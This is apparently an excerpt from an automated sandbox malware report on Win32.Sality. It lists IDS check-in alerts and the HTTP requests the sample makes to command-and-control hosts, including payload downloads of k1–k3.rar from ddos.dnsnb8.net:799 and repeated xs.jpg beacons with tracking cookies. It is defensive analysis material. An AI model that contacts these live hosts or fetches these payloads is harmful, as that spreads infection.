Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49981 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49982 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49983 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49985 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49986 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49987 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49988 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49989 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49991 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49992 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49993 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49994 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49995 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49997 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49998 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49999 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50000 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50001 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50003 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50004 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50005 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50006 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50007 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50009 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50010 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50011 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50012 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50013 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50015 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50016 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50017 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50018 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50019 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50021 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50022 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50023 -> 44.221.84.105:80
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 799
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.7:49706 -> 44.221.84.105:799
Source: global traffic UDP traffic: 192.168.2.7:50714 -> 85.17.167.196:9832
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View IP Address: 54.244.188.177 54.244.188.177
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: AEROTEK-ASTR AEROTEK-ASTR
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4ad8f3=24526015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?4cac3c=10049656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4dbdbb=20379372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?5099e9=26411405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?53338f=5452687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?963c82=39383560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9ea3a=22271092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b7b144=96307744 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ca9c78=119504952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d1e2b6=82530372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11838a2=36729156 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?12c0da8=39328592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?14ce734=130902840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?15a39ca=204212250 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?174d281=24433281 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?221ae27=321855327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?235836c=111184452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?26da991=81482530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?27afc36=374529510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?28f128c=128792484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ed8448=294721968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3019abc=302620776 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?31491f6=51679734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?34684a5=54953125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?35a0bf9=562329530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3bf8e4d=62885453 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3d3a4b2=128403812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e6e97f=65464703 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f3ee61=66317921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?43295c0=563392000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?47379df=373383515 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fedff7=419061715 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5648852=90474578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5b6c481=287591811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?654fad3=956092779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?71f7cbe=478016248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7bdce87=1298796870 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?823b9f5=1229031837 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?87676bf=993869625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?9010004=906362904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9bcb84a=326725780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a33c7a9=1540490481 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a8b8247=707660060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c8cad9e=1052730390 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d17ad7a=1098277730 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e8ebb07=-2096852161 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ef54526=-1785416836 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f396007=510836750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fb097cd=1842620059 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1017493b=1349807655 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10ed67fd=1987958763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?118d68fd=1472400625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11e16078=899948904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1239c7e1=2140436263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?12c69143=1260012812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?13a2f3e7=329446375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0
